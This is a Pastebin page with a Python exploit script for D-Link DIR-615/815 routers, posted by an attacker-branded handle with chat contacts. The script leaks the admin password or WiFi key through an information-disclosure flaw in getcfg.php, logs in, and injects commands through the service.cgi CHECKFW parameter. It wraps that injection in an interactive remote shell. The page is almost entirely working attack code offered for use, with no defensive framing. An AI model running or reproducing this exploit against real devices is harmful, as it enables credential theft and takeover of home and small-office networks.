SHARE
TWEET

[D-LINK ROUTERS 110/412/615/815 EXPLOIT] [PYTHON]

xB4ckdoorREAL Nov 7th, 2018 (edited) 316 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #DISCORD: https://discord.gg/QDy3bUy OR MY SKYPE: b4ckdoor.porn
  2.  
  3. #!/usr/bin/python
  4.  
  5.  
  6. # Vendor Homepage: us.dlink.com
  7. # Tested on: D-Link 815 v1.03
  8.  
  9. import argparse
  10. import httplib
  11. import random
  12. import re
  13. import requests
  14. import string
  15. import urllib2
  16.  
  17. DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
  18.                '<div class="modelname">(.*?)</div>',
  19.                '<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
  20.              ]
  21.  
  22.  
  23. def dlink_detection():
  24.     try:
  25.         r = requests.get(URL, timeout=10.00)
  26.     except requests.exceptions.ConnectionError:
  27.         print "Error: Failed to connect to " + URL
  28.         return False
  29.  
  30.     if r.status_code != 200:
  31.         print "Error: " + URL + " returned status code " + str(r.status_code)
  32.         return False
  33.  
  34.     for rex in DLINK_REGEX:
  35.         if re.search(rex, r.text):
  36.             res = re.findall(rex, r.text)[0]
  37.             return res
  38.  
  39.     print "Warning: Unable to detect device for " + URL
  40.     return "Unknown Device"
  41.  
  42.  
  43. def create_session():
  44.     post_content = {"REPORT_METHOD": "xml",
  45.                     "ACTION": "login_plaintext",
  46.                     "USER": "admin",
  47.                     "PASSWD": PASSWORD,
  48.                     "CAPTCHA": ""
  49.                     }
  50.  
  51.     try:
  52.         r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
  53.     except requests.exceptions.ConnectionError:
  54.         print "Error: Failed to access " + URL + "/session.cgi"
  55.         return False
  56.  
  57.     if not (r.status_code == 200 and r.reason == "OK"):
  58.         print "Error: Did not recieve a HTTP 200"
  59.         return False
  60.  
  61.     if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
  62.         print "Error: Did not get a success code"
  63.         return False
  64.  
  65.     return True
  66.  
  67.  
  68. def parse_results(result):
  69.     print result[100:]
  70.     return result
  71.  
  72.  
  73. def send_post(command, print_res=True):
  74.     post_content = "EVENT=CHECKFW%26" + command + "%26"
  75.  
  76.     method = "POST"
  77.  
  78.     if URL.lower().startswith("https"):
  79.         handler = urllib2.HTTPSHandler()
  80.     else:
  81.         handler = urllib2.HTTPHandler()
  82.  
  83.     opener = urllib2.build_opener(handler)
  84.     request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
  85.     request.get_method = lambda: method
  86.  
  87.     try:
  88.         connection = opener.open(request)
  89.     except urllib2.HTTPError:
  90.         print "Error: failed to connect to " + URL + "/service.cgi"
  91.         return False
  92.     except urllib2.HTTPSError:
  93.         print "Error: failed to connect to " + URL + "/service.cgi"
  94.         return False
  95.  
  96.     if not connection.code == 200:
  97.         print "Error: Recieved status code " + str(connection.code)
  98.         return False
  99.  
  100.     attempts = 0
  101.  
  102.     while attempts < 5:
  103.         try:
  104.             data = connection.read()
  105.         except httplib.IncompleteRead:
  106.             attempts += 1
  107.         else:
  108.             break
  109.  
  110.         if attempts == 5:
  111.             print "Error: Chunking failed %d times, bailing." %attempts
  112.             return False
  113.  
  114.     if print_res:
  115.         return parse_results(data)
  116.     else:
  117.         return data
  118.  
  119.  
  120. def start_shell():
  121.     print "+" + "-" * 80 + "+"
  122.     print "| Welcome to D-Link Shell" + (" " * 56) + "|"
  123.     print "+" + "-" * 80 + "+"
  124.     print "| This is a limited shell that exploits piss poor programming.  I created this   |"
  125.     print "| to give you a comfort zone and to emulate a real shell environment.  You will  |"
  126.     print "| be limited to basic busybox commands.  Good luck and happy hunting. B4           |"
  127.     print "|" + (" " * 80) + "|"
  128.     print "| To quit type 'gtfo'" + (" " * 60) + "|"
  129.     print "+" + "-" * 80 + "+\n\n"
  130.  
  131.     cmd = ""
  132.  
  133.     while True:
  134.         cmd = raw_input(ROUTER_TYPE + "# ").strip()
  135.         if cmd.lower() == "gtfo":
  136.             break
  137.  
  138.         send_post(cmd)
  139.  
  140.  
  141. def query_getcfg(param):
  142.     post_data = {"SERVICES": param}
  143.     try:
  144.         r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
  145.     except requests.exceptions.ConnectionError:
  146.         print "Error: Failed to access " + URL + "/getcfg.php"
  147.         return False
  148.  
  149.     if not (r.status_code == 200 and r.reason == "OK"):
  150.         print "Error: Did not recieve a HTTP 200"
  151.         return False
  152.  
  153.     if re.search("<message>Not authorized</message>", r.text):
  154.         print "Error: Not vulnerable"
  155.         return False
  156.  
  157.     return r.text
  158.  
  159.  
  160. def attempt_password_find():
  161.     # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
  162.     data = query_getcfg("DEVICE.ACCOUNT")
  163.     if not data:
  164.         return False
  165.  
  166.     res = re.findall("<password>(.*?)</password>", data)
  167.     if len(res) > 0 and res != "=OoXxGgYy=":
  168.         return res[0]
  169.  
  170.     # Did not find it in first attempt
  171.     data = query_getcfg("WIFI")
  172.     if not data:
  173.         return False
  174.  
  175.     res = re.findall("<key>(.*?)</key>", data)
  176.     if len(res) > 0:
  177.         return res[0]
  178.  
  179.     # All attempts failed, just going to return and wish best of luck!
  180.     return False
  181.  
  182.  
  183. if __name__ == "__main__":
  184.     parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
  185.  
  186.     parser.add_argument("-p", "--password", dest="password", action="store", default=None,
  187.                         help="Password for the router.  If not supplied then will use blank password.")
  188.     parser.add_argument("-u", "--url", dest="url", action="store", required=True,
  189.                         help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
  190.     parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
  191.                         help="If flag is set, will attempt CWE-200.  If that fails, then will attempt to discover "
  192.                              "wifi password and use it.")
  193.  
  194.     args = parser.parse_args()
  195.  
  196.     HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
  197.               "Host": "localhost",
  198.               "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
  199.               }
  200.  
  201.     URL = args.url.lower().strip()
  202.  
  203.     if not URL.startswith("http"):
  204.         URL = "http://" + URL
  205.  
  206.     ROUTER_TYPE = dlink_detection()
  207.  
  208.     if not ROUTER_TYPE:
  209.         print "EXITING . . ."
  210.         exit()
  211.  
  212.     if args.attempt_exploit and args.password is None:
  213.         res = attempt_password_find()
  214.         if res:
  215.             PASSWORD = res
  216.         else:
  217.             PASSWORD = ""
  218.         print "[+] Switching password to: " + PASSWORD
  219.     elif args.password:
  220.         PASSWORD = args.password
  221.     else:
  222.         PASSWORD = ""
  223.  
  224.     if not create_session():
  225.         print "EXITING . . ."
  226.         exit()
  227.  
  228.     if len(send_post("ls", False)) == 0:
  229.         print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
  230.         exit()
  231.  
  232.     start_shell()
  233.  
  234. # [2018-11-07]  #
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top